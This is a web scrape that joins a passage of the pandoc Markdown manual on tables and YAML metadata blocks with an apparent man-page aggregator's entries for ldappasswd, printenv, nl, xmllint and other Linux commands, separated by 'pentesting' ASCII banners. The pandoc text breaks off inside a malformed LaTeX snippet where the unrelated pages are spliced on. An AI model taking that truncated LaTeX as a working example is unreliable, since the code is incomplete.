You can use the same trick if you want two consecutive lists instead of one big list:

1.  one
2.  two
3.  three

<!-- -->

1.  uno
2.  dos
3.  tres

Horizontal rules

A line containing a row of three or more *, -, or _ characters (optionally separated by spaces) produces a horizontal rule:

*  *  *  *

---------------

We strongly recommend that horizontal rules be separated from surrounding text by blank lines. If a horizontal rule is not followed by a blank line, pandoc may try to interpret the lines that follow as a YAML metadata block or a table.

Tables

Four kinds of tables may be used. The first three kinds presuppose the use of a fixed-width font, such as Courier. The fourth kind can be used with proportionally spaced fonts, as it does not require lining up columns.

Extension: table_captions

A caption may optionally be provided with all 4 kinds of tables (as illustrated in the examples below). A caption is a paragraph beginning with the string Table: (or table: or just :), which will be stripped off. It may appear either before or after the table.

Extension: simple_tables

Simple tables look like this:

  Right     Left     Center     Default
-------     ------ ----------   -------
     12     12        12            12
    123     123       123          123
      1     1          1             1

Table:  Demonstration of simple table syntax.

The header and table rows must each fit on one line. Column alignments are determined by the position of the header text relative to the dashed line below it:

  • If the dashed line is flush with the header text on the right side but extends beyond it on the left, the column is right-aligned.

  • If the dashed line is flush with the header text on the left side but extends beyond it on the right, the column is left-aligned.

  • If the dashed line extends beyond the header text on both sides, the column is centered.

  • If the dashed line is flush with the header text on both sides, the default alignment is used (in most cases, this will be left).

The table must end with a blank line, or a line of dashes followed by a blank line.

The column header row may be omitted, provided a dashed line is used to end the table. For example:

-------     ------ ----------   -------
     12     12        12             12
    123     123       123           123
      1     1          1              1
-------     ------ ----------   -------

When the header row is omitted, column alignments are determined on the basis of the first line of the table body. So, in the tables above, the columns would be right, left, center, and right aligned, respectively.

Extension: multiline_tables

Multiline tables allow header and table rows to span multiple lines of text (but cells that span multiple columns or rows of the table are not supported). Here is an example:

-------------------------------------------------------------
 Centered   Default           Right Left
  Header    Aligned         Aligned Aligned
----------- ------- --------------- -------------------------
   First    row                12.0 Example of a row that
                                    spans multiple lines.

  Second    row                 5.0 Here's another one. Note
                                    the blank line between
                                    rows.
-------------------------------------------------------------

Table: Here's the caption. It, too, may span
multiple lines.

These work like simple tables, but with the following differences:

  • They must begin with a row of dashes, before the header text (unless the header row is omitted).

  • They must end with a row of dashes, then a blank line.

  • The rows must be separated by blank lines.

In multiline tables, the table parser pays attention to the widths of the columns, and the writers try to reproduce these relative widths in the output. So, if you find that one of the columns is too narrow in the output, try widening it in the Markdown source.

The header may be omitted in multiline tables as well as simple tables:

----------- ------- --------------- -------------------------
   First    row                12.0 Example of a row that
                                    spans multiple lines.

  Second    row                 5.0 Here's another one. Note
                                    the blank line between
                                    rows.
----------- ------- --------------- -------------------------

: Here's a multiline table without a header.

It is possible for a multiline table to have just one row, but the row should be followed by a blank line (and then the row of dashes that ends the table), or the table may be interpreted as a simple table.

Extension: grid_tables

Grid tables look like this:

: Sample grid table.

+---------------+---------------+--------------------+
| Fruit         | Price         | Advantages         |
+===============+===============+====================+
| Bananas       | $1.34         | - built-in wrapper |
|               |               | - bright color     |
+---------------+---------------+--------------------+
| Oranges       | $2.10         | - cures scurvy     |
|               |               | - tasty            |
+---------------+---------------+--------------------+

The row of =s separates the header from the table body, and can be omitted for a headerless table. The cells of grid tables may contain arbitrary block elements (multiple paragraphs, code blocks, lists, etc.).

Cells can span multiple columns or rows:

+---------------------+----------+
| Property            | Earth    |
+=============+=======+==========+
|             | min   | -89.2 °C |
| Temperature +-------+----------+
| 1961-1990   | mean  | 14 °C    |
|             +-------+----------+
|             | max   | 56.7 °C  |
+-------------+-------+----------+

A table header may contain more than one row:

+---------------------+-----------------------+
| Location            | Temperature 1961-1990 |
|                     | in degree Celsius     |
|                     +-------+-------+-------+
|                     | min   | mean  | max   |
+=====================+=======+=======+=======+
| Antarctica          | -89.2 | N/A   | 19.8  |
+---------------------+-------+-------+-------+
| Earth               | -89.2 | 14    | 56.7  |
+---------------------+-------+-------+-------+

Alignments can be specified as with pipe tables, by putting colons at the boundaries of the separator line after the header:

+---------------+---------------+--------------------+
| Right         | Left          | Centered           |
+==============:+:==============+:==================:+
| Bananas       | $1.34         | built-in wrapper   |
+---------------+---------------+--------------------+

For headerless tables, the colons go on the top line instead:

+--------------:+:--------------+:------------------:+
| Right         | Left          | Centered           |
+---------------+---------------+--------------------+

A table foot can be defined by enclosing it with separator lines that use = instead of -:

 +---------------+---------------+
 | Fruit         | Price         |
 +===============+===============+
 | Bananas       | $1.34         |
 +---------------+---------------+
 | Oranges       | $2.10         |
 +===============+===============+
 | Sum           | $3.44         |
 +===============+===============+

The foot must always be placed at the very bottom of the table.

Grid tables can be created easily using Emacs’ table-mode (M-x table-insert).

Extension: pipe_tables

Pipe tables look like this:

| Right | Left | Default | Center |
|------:|:-----|---------|:------:|
|   12  |  12  |    12   |    12  |
|  123  |  123 |   123   |   123  |
|    1  |    1 |     1   |     1  |

  : Demonstration of pipe table syntax.

The syntax is identical to PHP Markdown Extra tables. The beginning and ending pipe characters are optional, but pipes are required between all columns. The colons indicate column alignment as shown. The header cannot be omitted. To simulate a headerless table, include a header with blank cells.

Since the pipes indicate column boundaries, columns need not be vertically aligned, as they are in the above example. So, this is a perfectly legal (though ugly) pipe table:

fruit| price
-----|-----:
apple|2.05
pear|1.37
orange|3.09

The cells of pipe tables cannot contain block elements like paragraphs and lists, and cannot span multiple lines. If any line of the Markdown source is longer than the column width (see --columns), then the table will take up the full text width and the cell contents will wrap, with the relative cell widths determined by the number of dashes in the line separating the table header from the table body. (For example ---|- would make the first column 3/4 and the second column 1/4 of the full text width.) On the other hand, if no lines are wider than column width, then cell contents will not be wrapped, and the cells will be sized to their contents.

Note: pandoc also recognizes pipe tables of the following form, as can be produced by Emacs’ orgtbl-mode:

| One | Two   |
|-----+-------|
| my  | table |
| is  | nice  |

The difference is that + is used instead of |. Other orgtbl features are not supported. In particular, to get non-default column alignment, you’ll need to add colons as above.

Metadata blocks

Extension: pandoc_title_block

If the file begins with a title block

% title
% author(s) (separated by semicolons)
% date

it will be parsed as bibliographic information, not regular text. (It will be used, for example, in the title of standalone LaTeX or HTML output.) The block may contain just a title, a title and an author, or all three elements. If you want to include an author but no title, or a title and a date but no author, you need a blank line:

%
% Author

% My title
%
% June 15, 2006

The title may occupy multiple lines, but continuation lines must begin with leading space, thus:

% My title
  on multiple lines

If a document has multiple authors, the authors may be put on separate lines with leading space, or separated by semicolons, or both. So, all of the following are equivalent:

% Author One
  Author Two

% Author One; Author Two

% Author One;
  Author Two

The date must fit on one line.

All three metadata fields may contain standard inline formatting (italics, links, footnotes, etc.).

Title blocks will always be parsed, but they will affect the output only when the --standalone (-s) option is chosen. In HTML output, titles will appear twice: once in the document head—this is the title that will appear at the top of the window in a browser—and once at the beginning of the document body. The title in the document head can have an optional prefix attached (--title-prefix or -T option). The title in the body appears as an H1 element with class “title”, so it can be suppressed or reformatted with CSS. If a title prefix is specified with -T and no title block appears in the document, the title prefix will be used by itself as the HTML title.

The man page writer extracts a title, man page section number, and other header and footer information from the title line. The title is assumed to be the first word on the title line, which may optionally end with a (single-digit) section number in parentheses. (There should be no space between the title and the parentheses.) Anything after this is assumed to be additional footer and header text. A single pipe character (|) should be used to separate the footer text from the header text. Thus,

% PANDOC(1)

will yield a man page with the title PANDOC and section 1.

% PANDOC(1) Pandoc User Manuals

will also have “Pandoc User Manuals” in the footer.

% PANDOC(1) Pandoc User Manuals | Version 4.0

will also have “Version 4.0” in the header.

Extension: yaml_metadata_block

A YAML metadata block is a valid YAML object, delimited by a line of three hyphens (---) at the top and a line of three hyphens (---) or three dots (...) at the bottom. The initial line --- must not be followed by a blank line. A YAML metadata block may occur anywhere in the document, but if it is not at the beginning, it must be preceded by a blank line.

Note that, because of the way pandoc concatenates input files when several are provided, you may also keep the metadata in a separate YAML file and pass it to pandoc as an argument, along with your Markdown files:

pandoc chap1.md chap2.md chap3.md metadata.yaml -s -o book.html

Just be sure that the YAML file begins with --- and ends with --- or .... Alternatively, you can use the --metadata-file option. Using that approach however, you cannot reference content (like footnotes) from the main Markdown input document.

Metadata will be taken from the fields of the YAML object and added to any existing document metadata. Metadata can contain lists and objects (nested arbitrarily), but all string scalars will be interpreted as Markdown. Fields with names ending in an underscore will be ignored by pandoc. (They may be given a role by external processors.) Field names must not be interpretable as YAML numbers or boolean values (so, for example, yes, True, and 15 cannot be used as field names).

A document may contain multiple metadata blocks. If two metadata blocks attempt to set the same field, the value from the second block will be taken.

Each metadata block is handled internally as an independent YAML document. This means, for example, that any YAML anchors defined in a block cannot be referenced in another block.

When pandoc is used with -t markdown to create a Markdown document, a YAML metadata block will be produced only if the -s/--standalone option is used. All of the metadata will appear in a single block at the beginning of the document.

Note that YAML escaping rules must be followed. Thus, for example, if a title contains a colon, it must be quoted, and if it contains a backslash escape, then it must be ensured that it is not treated as a YAML escape sequence. The pipe character (|) can be used to begin an indented block that will be interpreted literally, without need for escaping. This form is necessary when the field contains blank lines or block-level formatting:

---
title: 'This is the title: it contains a colon'
author:
- Author One
- Author Two
keywords: [nothing, nothingness]
abstract: |
  This is the abstract.

  It consists of two paragraphs.
...

The literal block after the | must be indented relative to the line containing the |. If it is not, the YAML will be invalid and pandoc will not interpret it as metadata. For an overview of the complex rules governing YAML, see the Wikipedia entry on YAML syntax.

Template variables will be set automatically from the metadata. Thus, for example, in writing HTML, the variable abstract will be set to the HTML equivalent of the Markdown in the abstract field:

<p>This is the abstract.</p>
<p>It consists of two paragraphs.</p>

Variables can contain arbitrary YAML structures, but the template must match this structure. The author variable in the default templates expects a simple list or string, but can be changed to support more complicated structures. The following combination, for example, would add an affiliation to the author if one is given:

---
title: The document title
author:
- name: Author One
  affiliation: University of Somewhere
- name: Author Two
  affiliation: University of Nowhere
...

To use the structured authors in the example above, you would need a custom template:

$for(author)$
$if(author.name)$
$author.name$$if(author.affiliation)$ ($author.affiliation$)$endif$
$else$
$author$
$endif$
$endfor$

Raw content to include in the document’s header may be specified using header-includes; however, it is important to mark up this content as raw code for a particular output format, using the raw_attribute extension, or it will be interpreted as Markdown. For example:

header-includes:
- |
  ```{=latex}
  \let\oldsection\section
  
enewcommand{\section}[1]{

642 - Linux cli command ldappasswd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ldappasswd and provides detailed information about the command ldappasswd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ldappasswd.

NAME 🖥️ ldappasswd 🖥️

change the password of an LDAP entry

SYNOPSIS

ldappasswd [ -V[V]] [ -d* debuglevel]* [ -n] [ -v] [ -A] [ -a* oldPasswd]* [ -t* oldpasswdfile]* [ -S] [ -s* newPasswd]* [ -T* newpasswdfile]* [ -x] [ -D* binddn]* [ -W] [ -w* passwd]* [ -y* passwdfile]* [ -H* ldapuri]* [ -e [!]ext[=extparam]] [ -E [!]ext[=extparam]] [ -o* opt***[=optparam]]** [ -O* security-properties]* [ -I] [ -Q] [ -N] [ -U* authcid]* [ -R* realm]* [ -X* authzid]* [ -Y* mech]* [ -Z[Z]] [ user]

DESCRIPTION

ldappasswd is a tool to set the password of an LDAP user. ldappasswd uses the LDAPv3 Password Modify (RFC 3062) extended operation.

ldappasswd sets the password of associated with the user [or an optionally specified user]. If the new password is not specified on the command line and the user doesn’t enable prompting, the server will be asked to generate a password for the user.

ldappasswd is neither designed nor intended to be a replacement for passwd(1) and should not be installed as such.

OPTIONS

-V[V]
Print version info. If -VV is given, only the version information is printed.

-d* debuglevel*
Set the LDAP debugging level to debuglevel. ldappasswd must be compiled with LDAP_DEBUG defined for this option to have any effect.

-n
Do not set password. (Can be useful when used in conjunction with -v or -d)

-v
Increase the verbosity of output. Can be specified multiple times.

-A
Prompt for old password. This is used instead of specifying the password on the command line.

-a* oldPasswd*
Set the old password to oldPasswd.

-t* oldPasswdFile*
Set the old password to the contents of oldPasswdFile.

-S
Prompt for new password. This is used instead of specifying the password on the command line.

-s* newPasswd*
Set the new password to newPasswd.

-T* newPasswdFile*
Set the new password to the contents of newPasswdFile.

-x
Use simple authentication instead of SASL.

-D* binddn*
Use the Distinguished Name binddn to bind to the LDAP directory. For SASL binds, the server is expected to ignore this value.

-W
Prompt for bind password. This is used instead of specifying the password on the command line.

-w* passwd*
Use passwd as the password to bind with.

-y* passwdfile*
Use complete contents of passwdfile as the password for simple authentication.

-H* ldapuri*
Specify URI(s) referring to the ldap server(s); only the protocol/host/port fields are allowed; a list of URI, separated by whitespace or commas is expected.

-e [!]ext[=extparam]
-E [!]ext[=extparam]
Specify general extensions with -e and passwd modify extensions with -E. ‘!’ indicates criticality.

General extensions:

  [!]assert=<filter>    (an RFC 4515 Filter)
  !authzid=<authzid>    ("dn:<dn>" or "u:<user>")
  [!]bauthzid           (RFC 3829 authzid control)
  [!]chaining[=<resolve>[/<cont>]]
  [!]manageDSAit
  [!]noop
  ppolicy
  [!]postread[=<attrs>] (a comma-separated attribute list)
  [!]preread[=<attrs>]  (a comma-separated attribute list)
  [!]relax
  sessiontracking[=<username>]
  abandon,cancel,ignore (SIGINT sends abandon/cancel,
  or ignores response; if critical, doesn't wait for SIGINT.
  not really controls)

Passwd Modify extensions:

  (none)

-o* opt***[=optparam]]**
Specify any ldap.conf(5) option or one of the following:

  nettimeout=<timeout>  (in seconds, or "none" or "max")
  ldif_wrap=<width>     (in columns, or "no" for no wrapping)

-O* security-properties*
Specify SASL security properties.

-I
Enable SASL Interactive mode. Always prompt. Default is to prompt only as needed.

-Q
Enable SASL Quiet mode. Never prompt.

-N
Do not use reverse DNS to canonicalize SASL host name.

-U* authcid*
Specify the authentication ID for SASL bind. The form of the ID depends on the actual SASL mechanism used.

-R* realm*
Specify the realm of authentication ID for SASL bind. The form of the realm depends on the actual SASL mechanism used.

-X* authzid*
Specify the requested authorization ID for SASL bind. authzid must be one of the following formats: dn:<distinguished name> or u:<username>.

-Y* mech*
Specify the SASL mechanism to be used for authentication. If it’s not specified, the program will choose the best mechanism the server knows.

-Z[Z]
Issue StartTLS (Transport Layer Security) extended operation. If you use -ZZ, the command will require the operation to be successful

SEE ALSO

ldap_sasl_bind(3), ldap_extended_operation(3), ldap_start_tls_s(3)

AUTHOR

The OpenLDAP Project <http://www.openldap.org/>

ACKNOWLEDGEMENTS

OpenLDAP Software is developed and maintained by The OpenLDAP Project <http://www.openldap.org/>. OpenLDAP Software is derived from the University of Michigan LDAP 3.3 Release.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

643 - Linux cli command pamtoxvmini

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtoxvmini and provides detailed information about the command pamtoxvmini, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtoxvmini.

.

NAME 🖥️ pamtoxvmini 🖥️

convert Netpbm image to an XV “thumbnail” picture

SYNOPSIS

pamtoxvmini

[pamfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamtoxvmini reads a Netpbm image (PAM or PNM) and produces an XV “thumbnail” picture (a miniature picture normally generated by the “VisualSchnauzer” browser) as output.

OPTIONS

There are no command line options defined specifically for pamtoxvmini, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

xvminitoppm(1) , ppm(1) , xv manual

HISTORY

This program was new in Netpbm 10.34 (April 2006).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtoxvmini.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

644 - Linux cli command xdg-user-dir

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdg-user-dir and provides detailed information about the command xdg-user-dir, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdg-user-dir.

NAME 🖥️ xdg-user-dir 🖥️

user-dir - Find an XDG user dir

SYNOPSIS

xdg-user-dir [NAME]

DESCRIPTION

xdg-user-dir looks up the current path for one of the special XDG user dirs.

This command expects the name of an XDG user dir as argument. The possible names are:

DESKTOP

DOWNLOAD

TEMPLATES

PUBLICSHARE

DOCUMENTS

MUSIC

PICTURES

VIDEOS

FILES

The values are looked up in the user-dirs.dirs file. This file is created by the xdg-user-dirs-update utility.

ENVIRONMENT

The XDG_CONFIG_HOME environment variable determines where the user-dirs.dirs file is located.

SEE ALSO

xdg-user-dirs-update(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

645 - Linux cli command printenv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command printenv and provides detailed information about the command printenv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the printenv.

NAME 🖥️ printenv 🖥️

print all or part of environment

SYNOPSIS

printenv [OPTION]… [VARIABLE]…

DESCRIPTION

Print the values of the specified environment VARIABLE(s). If no VARIABLE is specified, print name and value pairs for them all.

-0, –null
end each output line with NUL, not newline

–help
display this help and exit

–version
output version information and exit

NOTE: your shell may have its own version of printenv, which usually supersedes the version described here. Please refer to your shell’s documentation for details about the options it supports.

AUTHOR

Written by David MacKenzie and Richard Mlynarik.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/printenv>
or available locally via: info ‘(coreutils) printenv invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

646 - Linux cli command pinentry-curses

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pinentry-curses and provides detailed information about the command pinentry-curses, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pinentry-curses.

NAME 🖥️ pinentry-curses 🖥️

curses - PIN or pass-phrase entry dialog for GnuPG

SYNOPSIS

**pinentry-curses [**OPTION…]

DESCRIPTION

pinentry-curses is a program that allows for secure entry of PINs or pass phrases. That means it tries to take care that the entered information is not swapped to disk or temporarily stored anywhere. This functionality is particularly useful for entering pass phrases when using encryption software such as GnuPG or e-mail clients using the same. It uses an open protocol and is therefore not tied to particular software.

pinentry-curses implements a PIN entry dialog using the curses tool kit, meaning that it is useful for users working in text mode without the X Window System. There are other flavors that implement PIN entry dialogs that use an X tool kit. If you have installed any of the latter programs then this program is not necessary because the X flavors automatically fall back to text mode if X is not active.

pinentry-curses is typically used internally by gpg-agent. Users don’t normally have a reason to call it directly.

OPTIONS

–version
Print the program version and licensing information.

–help
Print a usage message summarizing the most useful command-line options.

–debug, -d
Turn on some debugging. Mostly useful for the maintainers. Note that this may reveal sensitive information like the entered pass phrase.

–enhanced, -e
Ask for timeouts and insurance, too. Note that this is currently not fully supported.

–no-global-grab, -g
Grab the keyboard only when the window is focused. Use this option if you are debugging software using pinentry-curses; otherwise you may not be able to to access your X session anymore (unless you have other means to connect to the machine to kill pinentry-curses).

–parent-wid N
Use window ID N as the parent window for positioning the window. Note, that this is not fully supported by all flavors of pinentry.

–display STRING, –ttyname STRING, –ttytype STRING, –lc-ctype STRING, –lc-messages STRING
These options are used to pass localization information to pinentry-curses. They are required because pinentry-curses is usually called by some background process which does not have any information on the locale and terminal to use. Assuan protocol options are an alternative way to pass these information.

SEE ALSO

pinentry-gtk-2(1), pinentry-qt(1), pinentry-fltk(1), pinentry-gnome3(1), pinentry-tty(1), gpg(1), gpg-agent(1)

The full documentation for pinentry-curses is maintained as a Texinfo manual. If the pinentry-doc package is installed, the command

info pinentry

should give you access to the complete manual.

AUTHOR

This manual page was written by Peter Eisentraut for the Debian project.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

647 - Linux cli command nl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nl and provides detailed information about the command nl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nl.

NAME 🖥️ nl 🖥️

number lines of files

SYNOPSIS

nl [OPTION]… [FILE]…

DESCRIPTION

Write each FILE to standard output, with line numbers added.

With no FILE, or when FILE is -, read standard input.

Mandatory arguments to long options are mandatory for short options too.

-b, –body-numbering=STYLE
use STYLE for numbering body lines

-d, –section-delimiter=CC
use CC for logical page delimiters

-f, –footer-numbering=STYLE
use STYLE for numbering footer lines

-h, –header-numbering=STYLE
use STYLE for numbering header lines

-i, –line-increment=NUMBER
line number increment at each line

-l, –join-blank-lines=NUMBER
group of NUMBER empty lines counted as one

-n, –number-format=FORMAT
insert line numbers according to FORMAT

-p, –no-renumber
do not reset line numbers for each section

-s, –number-separator=STRING
add STRING after (possible) line number

-v, –starting-line-number=NUMBER
first line number for each section

-w, –number-width=NUMBER
use NUMBER columns for line numbers

–help
display this help and exit

–version
output version information and exit

Default options are: -bt -d’' -fn -hn -i1 -l1 -n‘rn’ -s<TAB> -v1 -w6

CC are two delimiter characters used to construct logical page delimiters; a missing second character implies ‘:’. As a GNU extension one can specify more than two characters, and also specifying the empty string (-d ‘’) disables section matching.

STYLE is one of:

a
number all lines

t
number only nonempty lines

n
number no lines

pBRE
number only lines that contain a match for the basic regular expression, BRE

FORMAT is one of:

ln
left justified, no leading zeros

rn
right justified, no leading zeros

rz
right justified, leading zeros

AUTHOR

Written by Scott Bartram and David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/nl>
or available locally via: info ‘(coreutils) nl invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

648 - Linux cli command xmllint

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xmllint and provides detailed information about the command xmllint, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xmllint.

NAME 🖥️ xmllint 🖥️

command line XML tool

SYNOPSIS

xmllint [–version | –debug | –shell | –xpath “XPath_expression | –debugent | –copy | –recover | –noent | –noout | –nonet | –path “PATH(S) | –load-trace | –htmlout | –nowrap | –valid | –postvalid | –dtdvalid URL | –dtdvalidfpi FPI | –timing | –output FILE | –repeat | –insert | –compress | –html | –xmlout | –push | –memory | –maxmem NBBYTES | –nowarning | –noblanks | –nocdata | –format | –encode ENCODING | –dropdtd | –nsclean | –testIO | –catalogs | –nocatalogs | –auto | –xinclude | –noxincludenode | –loaddtd | –dtdattr | –stream | –walker | –pattern PATTERNVALUE | –chkregister | –relaxng SCHEMA | –schema SCHEMA | –c14n] {XML-FILE(S)… | -}

xmllint –help

DESCRIPTION

The xmllint program parses one or more XML files, specified on the command line as XML-FILE (or the standard input if the filename provided is - ). It prints various types of output, depending upon the options selected. It is useful for detecting errors both in XML code and in the XML parser itself.

xmllint is included in libxml(3).

OPTIONS

xmllint accepts the following options (in alphabetical order):

–auto

Generate a small document for testing purposes.

–catalogs

Use the SGML catalog(s) from SGML_CATALOG_FILES. Otherwise XML catalogs starting from /etc/xml/catalog are used by default.

–chkregister

Turn on node registration. Useful for developers testing libxml(3) node tracking code.

–compress

Turn on gzip(1) compression of output.

–copy

Test the internal copy implementation.

–c14n

Use the W3C XML Canonicalisation (C14N) to serialize the result of parsing to stdout. It keeps comments in the result.

–dtdvalid URL

Use the DTD specified by an URL for validation.

